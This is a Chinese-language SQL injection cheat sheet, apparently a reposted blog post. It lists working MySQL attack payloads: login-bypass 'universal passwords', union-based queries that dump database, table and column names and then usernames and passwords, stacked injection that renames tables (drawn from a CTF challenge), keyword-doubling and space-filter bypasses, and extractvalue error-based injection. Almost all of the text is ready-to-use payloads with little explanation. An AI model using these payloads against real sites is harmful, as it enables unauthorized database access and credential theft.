信息收集
数据库版本:version()
5.0以上为高版本,以下为低版本。高版本中存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,可以查询它获取数据库表名列名的信息
数据库名字:database()
查询数据库:';show databases;#
数据库用户:user()
操作系统:@@version_compile_os
查询指定数据库名下的表名group_concat(table_name) from information_schema.tables where table_schema='数据库名字'
查询指定表名下的列名信息group_concat(column_name) from information_schema.columns where table_name='表名'
查询指定数据username from 列名
万能密码
1′ or ‘1’=’1
1′ or 1=1#
admin’or 1=1#
判断注入拆解列名数量(字段数)错误与正常的正常值
order by x
或者1′ union select 1,2 #
或者1' order by 1#
堆叠注入
查询表: 1';show tables;#
查询表中字段:1'; show columns from
要查询的字段; #
改名字:1';RENAME TABLE
wordsTO
words1;RENAME TABLE
1919810931114514TO
words;ALTER TABLE
wordsCHANGE
flag
id VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
URL中的注入
注意:URL中不能用# 只能用%23
查询字段数:admin' order by 数字(输到报错)%23
用union查询测试注入点(回显点位):1' union select 1,2,3%23&password=1
查询当前数据库名及版本:1' union select 1,database(),version()%23
可知当前数据库 :1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
查询表(爆表):1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表的名字'%23
爆数据:1' union select 1,2,group_concat(id,username,password) from 表的名字%23
当遇到关键字过滤的时候可以尝试 双写绕过 登陆失败,尝试注释掉password内容:for : foforr from: frfromom or: oorr union: uniunionon select: selselectect information: infoorrmation where: whwhereere
空格被过滤可以用()代替
报错注入
查询数据库名:“admin’^extractvalue(1,concat(0x7e,(select(database()))))%23 爆表:
admin’^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(‘数据库的名字’)))))%23 爆字段:left() right() 拼接
admin’^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(‘表的名字’)))))%23`
extractvalue() ()来代替空格,使用like来代替=号
原创文章,作者:端木书台,如若转载,请注明出处:https://blog.ytso.com/276690.html